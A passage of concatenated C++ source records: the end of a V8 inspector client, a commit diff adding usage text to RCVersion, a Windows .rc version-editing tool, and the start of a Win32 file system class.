msg.length());\n\/\/    session_->dispatchProtocolMessage(message_view);\n\n    \/\/this->backend_runner->Append(new SendMessageToBackendTask(this, message));\n\n    this->doDispatchMessage(isolate_, message);\n\n}\n\n\/\/void JsV8InspectorClient::runMessageLoopOnPause(int context_group_id) override\n\/\/{\n\/\/    if (running_nested_loop_)\n\/\/    {\n\/\/        return;\n\/\/    }\n\/\/\n\/\/    terminated_ = false;\n\/\/    running_nested_loop_ = true;\n\/\/    while (!terminated_)\n\/\/    {\n\/\/        agent_->WaitForFrontendMessage();\n\/\/        while (v8::platform::PumpMessageLoop(platform_, env_->isolate()))\n\/\/        {\n\/\/\n\/\/        }\n\/\/    }\n\/\/    terminated_ = false;\n\/\/    running_nested_loop_ = false;\n\/\/}\n\n\nvoid JsV8InspectorClient::runMessageLoopOnPause(int context_group_id)\n{\n\n\n    if (running_nested_loop_)\n    {\n        return;\n    }\n\n    JEnv env;\n\n    terminated_ = false;\n    running_nested_loop_ = true;\n    while (!terminated_)\n    {\n        \/\/agent_->WaitForFrontendMessage();\n\n\/\/        string errMsg;\n\/\/        JniLocalRef msg(env.CallStaticObjectMethod(NATIVESCRIPTEXCEPTION_CLASS, NATIVESCRIPTEXCEPTION_GET_STACK_TRACE_AS_STRING_METHOD_ID, exception));\n\/\/\n\/\/        const char* msgStr = env.GetStringUTFChars(msg, nullptr);\n\/\/\n\/\/        errMsg.append(msgStr);\n\/\/\n\/\/        env.ReleaseStringUTFChars(msg, msgStr);\n\/\/\n\/\/        return errMsg;\n\n        JniLocalRef msg(env.CallStaticObjectMethod(inspectorClass, getInspectorMessageMethod, this->connection));\n        if (!msg.IsNull())\n        {\n            auto inspectorMessage = ArgConverter::jstringToString(msg);\n            this->doDispatchMessage(this->isolate_, inspectorMessage);\n        }\n\n        while (v8::platform::PumpMessageLoop(Runtime::platform, isolate_))\n        {\n        }\n    }\n    terminated_ = false;\n    running_nested_loop_ = false;\n}\n\nvoid JsV8InspectorClient::quitMessageLoopOnPause()\n{\n    terminated_ = true;\n}\n\nv8::Local<v8::Context> JsV8InspectorClient::ensureDefaultContextInGroup(int contextGroupId)\n{\n    v8::Local<v8::Context> context = PersistentToLocal(isolate_, context_);\n    return context;\n    \/\/return env_->context();\n    \/\/return v8::Local<v8::Context>();\n}\n\nvoid JsV8InspectorClient::doDispatchMessage(v8::Isolate *isolate, const std::string &message)\n{\n    \/\/Isolate::Scope isolate_scope(isolate_);\n    \/\/v8::HandleScope handleScope(isolate_);\n\n    assert(session_ != nullptr);\n\n    const String16 msg(message.c_str());\n    v8_inspector::StringView message_view(reinterpret_cast<const uint16_t *>(msg.characters16()), msg.length());\n    session_->dispatchProtocolMessage(message_view);\n}\n\nvoid JsV8InspectorClient::sendProtocolResponse(int callId, const v8_inspector::StringView &message)\n{\n    \/\/frontend_channel_->SendMessageToFrontend(message);\n    sendProtocolNotification(message);\n}\n\nstatic v8_inspector::String16 ToString16(const v8_inspector::StringView &string)\n{\n    if (string.is8Bit())\n    {\n        return v8_inspector::String16(reinterpret_cast<const char *>(string.characters8()), string.length());\n    }\n\n    return v8_inspector::String16(reinterpret_cast<const uint16_t *>(string.characters16()), string.length());\n}\n\nvoid JsV8InspectorClient::sendProtocolNotification(const v8_inspector::StringView &message)\n{\n    \/\/frontend_channel_->SendMessageToFrontend(message);\n\n    if (inspectorClass == nullptr || this->connection == nullptr)\n    {\n        return;\n    }\n\n    v8_inspector::String16 msg = ToString16(message);\n\n    JEnv env;\n    const char *msss = msg.utf8().c_str();\n    JniLocalRef string(env.NewStringUTF(msg.utf8().c_str()));\n    env.CallStaticVoidMethod(inspectorClass, sendMethod, this->connection, (jstring) string);\n}\n\nvoid JsV8InspectorClient::flushProtocolNotifications()\n{\n}\n\ntemplate<class TypeName>\ninline v8::Local<TypeName> StrongPersistentToLocal(const v8::Persistent<TypeName> &persistent)\n{\n    return *reinterpret_cast<v8::Local<TypeName> *>(const_cast<v8::Persistent<TypeName> *>(&persistent));\n}\n\ntemplate<class TypeName>\ninline v8::Local<TypeName> WeakPersistentToLocal(v8::Isolate *isolate, const v8::Persistent<TypeName> &persistent)\n{\n    return v8::Local<TypeName>::New(isolate, persistent);\n}\n\ntemplate<class TypeName>\ninline v8::Local<TypeName> JsV8InspectorClient::PersistentToLocal(v8::Isolate *isolate, const v8::Persistent<TypeName> &persistent)\n{\n    if (persistent.IsWeak())\n    {\n        return WeakPersistentToLocal(isolate, persistent);\n    }\n    else\n    {\n        return StrongPersistentToLocal(persistent);\n    }\n}\n\nvoid JsV8InspectorClient::init()\n{\n    if (inspector_ != nullptr)\n    {\n        return;\n    }\n\n    v8::HandleScope handle_scope(isolate_);\n\n    v8::Local<Context> context = Context::New(isolate_);\n    v8::Context::Scope context_scope(context);\n\n\n    inspector_ = V8Inspector::create(isolate_, this);\n\n    inspector_->contextCreated(v8_inspector::V8ContextInfo(context, 0, v8_inspector::StringView()));\n\n    v8::Persistent<v8::Context> persistentContext(context->GetIsolate(), context);\n    context_.Reset(isolate_, persistentContext);\n}\n\nJsV8InspectorClient *JsV8InspectorClient::GetInstance()\n{\n    if (instance == nullptr)\n    {\n        instance = new JsV8InspectorClient(Runtime::GetRuntime(0)->GetIsolate());\n    }\n\n    return instance;\n}\n\nvoid MessageHandler(v8::Local<v8::Message> message,\n                    v8::Local<v8::Value> exception)\n{\n    v8::Isolate *isolate = v8::Isolate::GetCurrent();\n    v8::Local<v8::Context> context = isolate->GetEnteredContext();\n\/\/    if (context.IsEmpty()) return;\n\/\/    v8_inspector::V8Inspector *inspector = InspectorClientImpl::InspectorFromContext(context);\n\/\/\n\/\/    v8::Local<v8::StackTrace> stack = message->GetStackTrace();\n\/\/    int script_id = message->GetScriptOrigin().ScriptID()->Value();\n\/\/    if (!stack.IsEmpty() && stack->GetFrameCount() > 0)\n\/\/    {\n\/\/        int top_script_id = stack->GetFrame(0)->GetScriptId();\n\/\/        if (top_script_id == script_id) script_id = 0;\n\/\/    }\n\/\/    int line_number = message->GetLineNumber(context).FromMaybe(0);\n\/\/    int column_number = 0;\n\/\/    if (message->GetStartColumn(context).IsJust())\n\/\/        column_number = message->GetStartColumn(context).FromJust() + 1;\n\/\/\n\/\/    v8_inspector::StringView detailed_message;\n\/\/    v8_inspector::String16 message_text_string = ToString16(message->Get());\n\/\/    v8_inspector::StringView message_text(message_text_string.characters16(),\n\/\/                                          message_text_string.length());\n\/\/    v8_inspector::String16 url_string;\n\/\/    if (message->GetScriptOrigin().ResourceName()->IsString())\n\/\/    {\n\/\/        url_string =\n\/\/                ToString16(message->GetScriptOrigin().ResourceName().As<v8::String>());\n\/\/    }\n\/\/    v8_inspector::StringView url(url_string.characters16(), url_string.length());\n\/\/\n\/\/    inspector->exceptionThrown(context, message_text, exception, detailed_message,\n\/\/                               url, line_number, column_number,\n\/\/                               inspector->createStackTrace(stack), script_id);\n}\n\nJsV8InspectorClient *JsV8InspectorClient::instance = nullptr;\njclass JsV8InspectorClient::inspectorClass = nullptr;\njmethodID JsV8InspectorClient::sendMethod = nullptr;\njmethodID JsV8InspectorClient::getInspectorMessageMethod = nullptr;\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>#include <tchar.h>\r\n#include \"RCReader.h\"\r\n#include \"RCVersion.h\"\r\n#include <locale.h>\r\n#include <xl\/Containers\/xlArray.h>\r\n#include <xl\/Containers\/xlMap.h>\r\n#include <xl\/Objects\/xlString.h>\r\n#include <Loki\/ScopeGuard.h>\r\n\r\n#define RC_VERSION_SUCCEESS 0\r\n#define RC_VERSION_FAILURE  -1\r\n\r\nstruct VersionInfo\r\n{\r\n    WORD wMajor;\r\n    WORD wMinor;\r\n    WORD wBuild;\r\n    WORD wRevision;\r\n};\r\n\r\nstruct PathFile\r\n{\r\n    xl::String strPattern;\r\n    bool bRecursion;\r\n};\r\n\r\nstruct CommandLineInfo\r\n{\r\n    bool bFileVersion;\r\n    bool bProductVersion;\r\n    VersionInfo viFile;\r\n    VersionInfo viProduct;\r\n    xl::Map<xl::String, xl::String> mapStrings;\r\n    xl::Array<PathFile> arrPaths;\r\n};\r\n\r\nvoid ShowCopyright()\r\n{\r\n\r\n}\r\n\r\nvoid ShowHelp()\r\n{\r\n    _T(\"Comments\")\r\n    _T(\"CompanyName\")\r\n    _T(\"FileDescription\")\r\n    _T(\"FileVersion\")\r\n    _T(\"InternalName\")\r\n    _T(\"LegalCopyright\")\r\n    _T(\"LegalTrademarks\")\r\n    _T(\"OriginalFilename\")\r\n    _T(\"PrivateBuild\")\r\n    _T(\"ProductName\")\r\n    _T(\"ProductVersion\")\r\n    _T(\"SpecialBuild\");\r\n}\r\n\r\nbool ParseVersion(const xl::String &strVerison, VersionInfo *pVI)\r\n{\r\n    xl::Array<xl::String> arrVersion = strVerison.Split(_T(\",\"));\r\n\r\n    if (arrVersion.Size() != 4)\r\n    {\r\n        return false;\r\n    }\r\n\r\n    pVI->wMajor = _ttoi(arrVersion[0].GetAddress());\r\n    pVI->wMinor = _ttoi(arrVersion[1].GetAddress());\r\n    pVI->wBuild = _ttoi(arrVersion[2].GetAddress());\r\n    pVI->wRevision = _ttoi(arrVersion[3].GetAddress());\r\n\r\n    return true;\r\n}\r\n\r\nbool ParseCommandLine(int argc, TCHAR *argv[], CommandLineInfo *pCLI)\r\n{\r\n    if (argc <= 1)\r\n    {\r\n        ShowHelp();\r\n        return false;\r\n    }\r\n\r\n    pCLI->bFileVersion = false;\r\n    pCLI->bProductVersion = false;\r\n    pCLI->mapStrings.Clear();\r\n    pCLI->arrPaths.Clear();\r\n\r\n    const xl::String strFileVersion = _T(\"\/fileversion:\");\r\n    const xl::String strPruductVersion = _T(\"\/productversion:\");\r\n    const xl::String strStringProperty = _T(\"\/string:\");\r\n    const xl::String strRecursion = _T(\"\/r\");\r\n\r\n    for (int i = 1; i < argc; ++i)\r\n    {\r\n        xl::String strCommand = argv[i];\r\n        xl::String strCommandLower = strCommand.ToLower();\r\n\r\n        if (strCommandLower.IndexOf(strFileVersion) == 0)\r\n        {\r\n            xl::String strVersion = strCommand.Right(strCommand.Length() - strFileVersion.Length());\r\n\r\n            if (!ParseVersion(strVersion, &pCLI->viFile))\r\n            {\r\n                return false;\r\n            }\r\n\r\n            pCLI->bFileVersion = true;\r\n        }\r\n        else if (strCommandLower.IndexOf(strPruductVersion) == 0)\r\n        {\r\n            xl::String strVersion = strCommand.Right(strCommand.Length() - strPruductVersion.Length());\r\n\r\n            if (!ParseVersion(strVersion, &pCLI->viProduct))\r\n            {\r\n                return false;\r\n            }\r\n\r\n            pCLI->bProductVersion = true;\r\n        }\r\n        else if (strCommandLower.IndexOf(strStringProperty) == 0)\r\n        {\r\n            xl::String strProperty = strCommand.Right(strCommand.Length() - strStringProperty.Length());\r\n            xl::Array<xl::String> arrKeyValue = strProperty.Split(_T(\"=\"), 2);\r\n\r\n            if (arrKeyValue.Size() != 2)\r\n            {\r\n                return false;\r\n            }\r\n\r\n            pCLI->mapStrings.Insert(arrKeyValue[0], arrKeyValue[1]);\r\n        }\r\n        else\r\n        {\r\n            PathFile pf;\r\n            pf.strPattern = strCommand;\r\n            pf.bRecursion = false;\r\n\r\n            if (i + 1 < argc)\r\n            {\r\n                xl::String strExtra = argv[i + 1];\r\n                strExtra.MakeLower();\r\n\r\n                if (strExtra == strRecursion)\r\n                {\r\n                    pf.bRecursion = true;\r\n                    ++i;\r\n                }\r\n            }\r\n\r\n            pCLI->arrPaths.PushBack(pf);\r\n        }\r\n    }\r\n\r\n    return true;\r\n}\r\n\r\nbool ModifyRCFile(const CommandLineInfo &cli, const xl::String strFile)\r\n{\r\n    _tprintf(_T(\"Modifying file %s...\\n\"), strFile.GetAddress());\r\n\r\n    xl::String strRCData;\r\n\r\n    if (!ReadRC(strFile.GetAddress(), &strRCData))\r\n    {\r\n        _tprintf(_T(\"Error: Failed to read RC file.\\n\"));\r\n        return false;\r\n    }\r\n\r\n    if (cli.bFileVersion)\r\n    {\r\n        strRCData = RCModifyVersion(strRCData, VERSION_TYPE_FILE,\r\n            cli.viFile.wMajor, cli.viFile.wMinor, cli.viFile.wBuild, cli.viFile.wRevision);\r\n    }\r\n\r\n    if (cli.bProductVersion)\r\n    {\r\n        strRCData = RCModifyVersion(strRCData, VERSION_TYPE_PRODUCT,\r\n            cli.viProduct.wMajor, cli.viProduct.wMinor, cli.viProduct.wBuild, cli.viProduct.wRevision);\r\n    }\r\n\r\n    for (auto it = cli.mapStrings.Begin(); it != cli.mapStrings.End(); ++it)\r\n    {\r\n        strRCData = RCModifyVersionString(strRCData, it->Key.GetAddress(), it->Value.GetAddress());\r\n    }\r\n\r\n    if (!WriteRC(strRCData, strFile.GetAddress()))\r\n    {\r\n        _tprintf(_T(\"Error: Failed to write RC file.\\n\"));\r\n        return false;\r\n    }\r\n\r\n    return true;\r\n}\r\n\r\nbool ModifyRCFiles(const CommandLineInfo &cli, const xl::String strSearch, bool bRecursion)\r\n{\r\n    WIN32_FIND_DATA wfd = {};\r\n\r\n    xl::String strPath;\r\n    xl::String strPattern;\r\n\r\n    int nPos = strSearch.LastIndexOf(_T(\"\\\\\"));\r\n\r\n    if (nPos == -1)\r\n    {\r\n        strPattern = strSearch;\r\n    }\r\n    else\r\n    {\r\n        strPath = strSearch.Left(nPos + 1);\r\n        strPattern = strSearch.Right(strSearch.Length() - nPos - 1);\r\n    }\r\n\r\n    bool bSuccess = true;\r\n\r\n    while (true)\r\n    {\r\n        HANDLE hFind = FindFirstFile(strSearch.GetAddress(), &wfd);\r\n\r\n        if (hFind == INVALID_HANDLE_VALUE)\r\n        {\r\n            break;\r\n        }\r\n\r\n        LOKI_ON_BLOCK_EXIT(FindClose, hFind);\r\n\r\n        do \r\n        {\r\n            xl::String strFile = wfd.cFileName;\r\n\r\n            if (strFile == _T(\".\") || strFile == _T(\"..\"))\r\n            {\r\n                continue;\r\n            }\r\n\r\n            if ((wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0)\r\n            {\r\n                continue;\r\n            }\r\n\r\n            if (!ModifyRCFile(cli, strPath + strFile))\r\n            {\r\n                bSuccess = false;\r\n            }\r\n\r\n        } while (FindNextFile(hFind, &wfd));\r\n\r\n        break;\r\n    }\r\n    \r\n    if (bRecursion)\r\n    {\r\n        HANDLE hFind = FindFirstFile((strPath + _T(\"*\")).GetAddress(), &wfd);\r\n\r\n        if (hFind == INVALID_HANDLE_VALUE)\r\n        {\r\n            return false;\r\n        }\r\n\r\n        LOKI_ON_BLOCK_EXIT(FindClose, hFind);\r\n        \r\n        bool bSuccess = true;\r\n\r\n        do \r\n        {\r\n            xl::String strFile = wfd.cFileName;\r\n\r\n            if (strFile == _T(\".\") || strFile == _T(\"..\"))\r\n            {\r\n                continue;\r\n            }\r\n\r\n            if ((wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0)\r\n            {\r\n                continue;\r\n            }\r\n            \r\n            ModifyRCFiles(cli, strPath + strFile + _T(\"\\\\\") + strPattern, true);\r\n\r\n        } while (FindNextFile(hFind, &wfd));\r\n    }\r\n\r\n    return bSuccess;\r\n}\r\n\r\nbool ModifyRC(const CommandLineInfo &cli)\r\n{\r\n    bool bSuccess = true;\r\n\r\n    for (auto it = cli.arrPaths.Begin(); it != cli.arrPaths.End(); ++it)\r\n    {\r\n        bSuccess = ModifyRCFiles(cli, it->strPattern, it->bRecursion) && bSuccess;\r\n    }\r\n\r\n    return true;\r\n}\r\n\r\nint _tmain(int argc, TCHAR *argv[])\r\n{\r\n    setlocale(LC_ALL, \"\");\r\n\r\n    ShowCopyright();\r\n\r\n    CommandLineInfo cli = {};\r\n\r\n    if (!ParseCommandLine(argc, argv, &cli))\r\n    {\r\n        return RC_VERSION_FAILURE;\r\n    }\r\n\r\n    if (!ModifyRC(cli))\r\n    {\r\n        return RC_VERSION_FAILURE;\r\n    }\r\n    \r\n    return RC_VERSION_SUCCEESS;\r\n}\r\n\r\n<commit_msg>add prompt<commit_after>#include <tchar.h>\r\n#include \"RCReader.h\"\r\n#include \"RCVersion.h\"\r\n#include <locale.h>\r\n#include <xl\/Containers\/xlArray.h>\r\n#include <xl\/Containers\/xlMap.h>\r\n#include <xl\/Objects\/xlString.h>\r\n#include <Loki\/ScopeGuard.h>\r\n\r\n#define RC_VERSION_SUCCEESS 0\r\n#define RC_VERSION_FAILURE  -1\r\n\r\nstruct VersionInfo\r\n{\r\n    WORD wMajor;\r\n    WORD wMinor;\r\n    WORD wBuild;\r\n    WORD wRevision;\r\n};\r\n\r\nstruct PathFile\r\n{\r\n    xl::String strPattern;\r\n    bool bRecursion;\r\n};\r\n\r\nstruct CommandLineInfo\r\n{\r\n    bool bFileVersion;\r\n    bool bProductVersion;\r\n    VersionInfo viFile;\r\n    VersionInfo viProduct;\r\n    xl::Map<xl::String, xl::String> mapStrings;\r\n    xl::Array<PathFile> arrPaths;\r\n};\r\n\r\nvoid ShowCopyright()\r\n{\r\n    _tprintf(_T(\"RCVersion v1.0 by Streamlet\\n\"));\r\n    _tprintf(_T(\"\\n\"));\r\n}\r\n\r\nvoid ShowHelp()\r\n{\r\n    _tprintf(_T(\"Usage: RCVersion[ \/FileVersion:<N>,<N>,<N>,<N>]\\n\"));\r\n    _tprintf(_T(\"                [ \/ProductVersion:<N>,<N>,<N>,<N>]\\n\"));\r\n    _tprintf(_T(\"                [ \/String:<Property>=<Value>[ \/String:<Property>=<Value>[...]]]\\n\"));\r\n    _tprintf(_T(\"                <File>[ \/r][ <File>[ \/r][ ...]]\\n\"));\r\n    _tprintf(_T(\"\\n\"));\r\n    _tprintf(_T(\"       N        : An decimal integer from 0 to 65535.\\n\"));\r\n    _tprintf(_T(\"       Property : Could be one of the following strings:\\n\"));\r\n    _tprintf(_T(\"                      Comments\\n\"));\r\n    _tprintf(_T(\"                      CompanyName\\n\"));\r\n    _tprintf(_T(\"                      FileDescription\\n\"));\r\n    _tprintf(_T(\"                      FileVersion\\n\"));\r\n    _tprintf(_T(\"                      InternalName\\n\"));\r\n    _tprintf(_T(\"                      LegalCopyright\\n\"));\r\n    _tprintf(_T(\"                      LegalTrademarks\\n\"));\r\n    _tprintf(_T(\"                      OriginalFilename\\n\"));\r\n    _tprintf(_T(\"                      PrivateBuild\\n\"));\r\n    _tprintf(_T(\"                      ProductName\\n\"));\r\n    _tprintf(_T(\"                      ProductVersion\\n\"));\r\n    _tprintf(_T(\"                      SpecialBuild\\n\"));\r\n    _tprintf(_T(\"       Value    : Could be any string.\\n\"));\r\n    _tprintf(_T(\"       File     : Path of target file. Wildcard is supported.\\n\"));\r\n    _tprintf(_T(\"                  Use \/r to search files recursively.\\n\"));\r\n    _tprintf(_T(\"\\n\"));\r\n}\r\n\r\nbool ParseVersion(const xl::String &strVerison, VersionInfo *pVI)\r\n{\r\n    xl::Array<xl::String> arrVersion = strVerison.Split(_T(\",\"));\r\n\r\n    if (arrVersion.Size() != 4)\r\n    {\r\n        return false;\r\n    }\r\n\r\n    pVI->wMajor = _ttoi(arrVersion[0].GetAddress());\r\n    pVI->wMinor = _ttoi(arrVersion[1].GetAddress());\r\n    pVI->wBuild = _ttoi(arrVersion[2].GetAddress());\r\n    pVI->wRevision = _ttoi(arrVersion[3].GetAddress());\r\n\r\n    return true;\r\n}\r\n\r\nbool ParseCommandLine(int argc, TCHAR *argv[], CommandLineInfo *pCLI)\r\n{\r\n    if (argc <= 1)\r\n    {\r\n        ShowHelp();\r\n        return false;\r\n    }\r\n\r\n    pCLI->bFileVersion = false;\r\n    pCLI->bProductVersion = false;\r\n    pCLI->mapStrings.Clear();\r\n    pCLI->arrPaths.Clear();\r\n\r\n    const xl::String strFileVersion = _T(\"\/fileversion:\");\r\n    const xl::String strPruductVersion = _T(\"\/productversion:\");\r\n    const xl::String strStringProperty = _T(\"\/string:\");\r\n    const xl::String strRecursion = _T(\"\/r\");\r\n\r\n    for (int i = 1; i < argc; ++i)\r\n    {\r\n        xl::String strCommand = argv[i];\r\n        xl::String strCommandLower = strCommand.ToLower();\r\n\r\n        if (strCommandLower.IndexOf(strFileVersion) == 0)\r\n        {\r\n            xl::String strVersion = strCommand.Right(strCommand.Length() - strFileVersion.Length());\r\n\r\n            if (!ParseVersion(strVersion, &pCLI->viFile))\r\n            {\r\n                return false;\r\n            }\r\n\r\n            pCLI->bFileVersion = true;\r\n        }\r\n        else if (strCommandLower.IndexOf(strPruductVersion) == 0)\r\n        {\r\n            xl::String strVersion = strCommand.Right(strCommand.Length() - strPruductVersion.Length());\r\n\r\n            if (!ParseVersion(strVersion, &pCLI->viProduct))\r\n            {\r\n                return false;\r\n            }\r\n\r\n            pCLI->bProductVersion = true;\r\n        }\r\n        else if (strCommandLower.IndexOf(strStringProperty) == 0)\r\n        {\r\n            xl::String strProperty = strCommand.Right(strCommand.Length() - strStringProperty.Length());\r\n            xl::Array<xl::String> arrKeyValue = strProperty.Split(_T(\"=\"), 2);\r\n\r\n            if (arrKeyValue.Size() != 2)\r\n            {\r\n                return false;\r\n            }\r\n\r\n            pCLI->mapStrings.Insert(arrKeyValue[0], arrKeyValue[1]);\r\n        }\r\n        else\r\n        {\r\n            PathFile pf;\r\n            pf.strPattern = strCommand;\r\n            pf.bRecursion = false;\r\n\r\n            if (i + 1 < argc)\r\n            {\r\n                xl::String strExtra = argv[i + 1];\r\n                strExtra.MakeLower();\r\n\r\n                if (strExtra == strRecursion)\r\n                {\r\n                    pf.bRecursion = true;\r\n                    ++i;\r\n                }\r\n            }\r\n\r\n            pCLI->arrPaths.PushBack(pf);\r\n        }\r\n    }\r\n\r\n    return true;\r\n}\r\n\r\nbool ModifyRCFile(const CommandLineInfo &cli, const xl::String strFile)\r\n{\r\n    _tprintf(_T(\"Modifying file %s...\\n\"), strFile.GetAddress());\r\n\r\n    xl::String strRCData;\r\n\r\n    if (!ReadRC(strFile.GetAddress(), &strRCData))\r\n    {\r\n        _tprintf(_T(\"Error: Failed to read RC file.\\n\"));\r\n        return false;\r\n    }\r\n\r\n    if (cli.bFileVersion)\r\n    {\r\n        strRCData = RCModifyVersion(strRCData, VERSION_TYPE_FILE,\r\n            cli.viFile.wMajor, cli.viFile.wMinor, cli.viFile.wBuild, cli.viFile.wRevision);\r\n    }\r\n\r\n    if (cli.bProductVersion)\r\n    {\r\n        strRCData = RCModifyVersion(strRCData, VERSION_TYPE_PRODUCT,\r\n            cli.viProduct.wMajor, cli.viProduct.wMinor, cli.viProduct.wBuild, cli.viProduct.wRevision);\r\n    }\r\n\r\n    for (auto it = cli.mapStrings.Begin(); it != cli.mapStrings.End(); ++it)\r\n    {\r\n        strRCData = RCModifyVersionString(strRCData, it->Key.GetAddress(), it->Value.GetAddress());\r\n    }\r\n\r\n    if (!WriteRC(strRCData, strFile.GetAddress()))\r\n    {\r\n        _tprintf(_T(\"Error: Failed to write RC file.\\n\"));\r\n        return false;\r\n    }\r\n\r\n    return true;\r\n}\r\n\r\nbool ModifyRCFiles(const CommandLineInfo &cli, const xl::String strSearch, bool bRecursion)\r\n{\r\n    WIN32_FIND_DATA wfd = {};\r\n\r\n    xl::String strPath;\r\n    xl::String strPattern;\r\n\r\n    int nPos = strSearch.LastIndexOf(_T(\"\\\\\"));\r\n\r\n    if (nPos == -1)\r\n    {\r\n        strPattern = strSearch;\r\n    }\r\n    else\r\n    {\r\n        strPath = strSearch.Left(nPos + 1);\r\n        strPattern = strSearch.Right(strSearch.Length() - nPos - 1);\r\n    }\r\n\r\n    bool bSuccess = true;\r\n\r\n    while (true)\r\n    {\r\n        HANDLE hFind = FindFirstFile(strSearch.GetAddress(), &wfd);\r\n\r\n        if (hFind == INVALID_HANDLE_VALUE)\r\n        {\r\n            break;\r\n        }\r\n\r\n        LOKI_ON_BLOCK_EXIT(FindClose, hFind);\r\n\r\n        do \r\n        {\r\n            xl::String strFile = wfd.cFileName;\r\n\r\n            if (strFile == _T(\".\") || strFile == _T(\"..\"))\r\n            {\r\n                continue;\r\n            }\r\n\r\n            if ((wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0)\r\n            {\r\n                continue;\r\n            }\r\n\r\n            if (!ModifyRCFile(cli, strPath + strFile))\r\n            {\r\n                bSuccess = false;\r\n            }\r\n\r\n        } while (FindNextFile(hFind, &wfd));\r\n\r\n        break;\r\n    }\r\n    \r\n    if (bRecursion)\r\n    {\r\n        HANDLE hFind = FindFirstFile((strPath + _T(\"*\")).GetAddress(), &wfd);\r\n\r\n        if (hFind == INVALID_HANDLE_VALUE)\r\n        {\r\n            return false;\r\n        }\r\n\r\n        LOKI_ON_BLOCK_EXIT(FindClose, hFind);\r\n        \r\n        bool bSuccess = true;\r\n\r\n        do \r\n        {\r\n            xl::String strFile = wfd.cFileName;\r\n\r\n            if (strFile == _T(\".\") || strFile == _T(\"..\"))\r\n            {\r\n                continue;\r\n            }\r\n\r\n            if ((wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0)\r\n            {\r\n                continue;\r\n            }\r\n            \r\n            ModifyRCFiles(cli, strPath + strFile + _T(\"\\\\\") + strPattern, true);\r\n\r\n        } while (FindNextFile(hFind, &wfd));\r\n    }\r\n\r\n    return bSuccess;\r\n}\r\n\r\nbool ModifyRC(const CommandLineInfo &cli)\r\n{\r\n    bool bSuccess = true;\r\n\r\n    for (auto it = cli.arrPaths.Begin(); it != cli.arrPaths.End(); ++it)\r\n    {\r\n        bSuccess = ModifyRCFiles(cli, it->strPattern, it->bRecursion) && bSuccess;\r\n    }\r\n\r\n    return true;\r\n}\r\n\r\nint _tmain(int argc, TCHAR *argv[])\r\n{\r\n    setlocale(LC_ALL, \"\");\r\n\r\n    ShowCopyright();\r\n\r\n    CommandLineInfo cli = {};\r\n\r\n    if (!ParseCommandLine(argc, argv, &cli))\r\n    {\r\n        return RC_VERSION_FAILURE;\r\n    }\r\n\r\n    if (!ModifyRC(cli))\r\n    {\r\n        return RC_VERSION_FAILURE;\r\n    }\r\n    \r\n    return RC_VERSION_SUCCEESS;\r\n}\r\n\r\n<|endoftext|>"}
{"text":"<commit_before>#include \"Win32FileSystem.hpp\"\n#include \"Win32Handle.hpp\"\n#include \"..\/File.hpp\"\n#include \"..\/InputStream.hpp\"\n#include \"..\/OutputStream.hpp\"\n#include \"..\/EmptyFile.hpp\"\n#include \"..\/PartFile.hpp\"\n#include \"..\/Strings.hpp\"\n#include \"..\/Exception.hpp\"\n#include <algorithm>\n\nBEGIN_INANITY_PLATFORM\n\nclass Win32File : public File\n{\nprivate:\n\tvoid* data;\n\tsize_t size;\n\npublic:\n\tWin32File(void* data, size_t size)\n\t: data(data), size(size) {}\n\n\t~Win32File()\n\t{\n\t\tUnmapViewOfFile(data);\n\t}\n\n\tvoid* GetData() const\n\t{\n\t\treturn data;\n\t}\n\n\tsize_t GetSize() const\n\t{\n\t\treturn size;\n\t}\n};\n\nclass Win32InputStream : public InputStream\n{\nprivate:\n\tptr<Win32Handle> handle;\n\tmutable bigsize_t fileSize;\n\n\tbigsize_t GetFileSize() const\n\t{\n\t\tif(fileSize == (bigsize_t)-1)\n\t\t{\n\t\t\tLARGE_INTEGER size;\n\t\t\tif(!GetFileSizeEx(*handle, &size))\n\t\t\t\tTHROW(\"Error getting file size\");\n\t\t\tfileSize = (bigsize_t)size.QuadPart;\n\t\t}\n\t\treturn fileSize;\n\t}\n\npublic:\n\tWin32InputStream(ptr<Win32Handle> handle)\n\t: handle(handle), fileSize(-1) {}\n\n\tsize_t Read(void* data, size_t size)\n\t{\n\t\tif((DWORD)size != size)\n\t\t\tTHROW(\"So big reading size is not supported\");\n\t\tDWORD read;\n\t\tReadFile(*handle, data, (DWORD)size, &read, NULL);\n\t\treturn read;\n\t}\n\n\tbigsize_t Skip(bigsize_t size)\n\t{\n\t\tLARGE_INTEGER distance, oldFilePointer, newFilePointer;\n\n\t\t\/\/ determine current file pointer\n\t\tdistance.QuadPart = (LONGLONG)0;\n\t\tif(!SetFilePointerEx(*handle, distance, &oldFilePointer, FILE_CURRENT))\n\t\t\tTHROW(\"Can't determine current file pointer\");\n\n\t\t\/\/ get file size\n\t\tbigsize_t fileSize = GetFileSize();\n\n\t\t\/\/ fix distance to move (because Windows allows\n\t\t\/\/ setting file pointer beyond the end of file)\n\t\tsize = std::min((bigsize_t)oldFilePointer.QuadPart + size, fileSize) - (bigsize_t)oldFilePointer.QuadPart;\n\n\t\t\/\/ move\n\t\tdistance.QuadPart = (LONGLONG)size;\n\t\tif(!SetFilePointerEx(*handle, distance, &newFilePointer, FILE_CURRENT))\n\t\t\tTHROW(\"Can't move file pointer\");\n\n\t\treturn size;\n\t}\n};\n\nclass Win32OutputStream : public OutputStream\n{\nprivate:\n\tptr<Win32Handle> handle;\n\npublic:\n\tWin32OutputStream(ptr<Win32Handle> handle)\n\t: handle(handle) {}\n\n\tvoid Write(const void* data, size_t size)\n\t{\n\t\tif((DWORD)size != size)\n\t\t\tTHROW(\"So big write size is not supported\");\n\t\tDWORD written;\n\t\tif(!WriteFile(*handle, data, (DWORD)size, &written, NULL) || written != size)\n\t\t\tTHROW(\"Disk write error\");\n\t}\n};\n\nWin32FileSystem::Win32FileSystem(const String& userFolderName)\n{\n\t\/\/если имя абсолютное\n\tif(userFolderName.length() >= 2 && userFolderName[1] == ':')\n\t\tfolderName = userFolderName;\n\t\/\/иначе относительное\n\telse\n\t{\n\t\t\/\/получить полное имя текущего каталога\n\t\tDWORD length = GetCurrentDirectory(0, NULL);\n\t\twchar_t* buffer = new wchar_t[length];\n\t\tif(!GetCurrentDirectory(length, buffer))\n\t\t{\n\t\t\tdelete [] buffer;\n\t\t\tTHROW(\"Can't get current directory\");\n\t\t}\n\t\tfolderName = 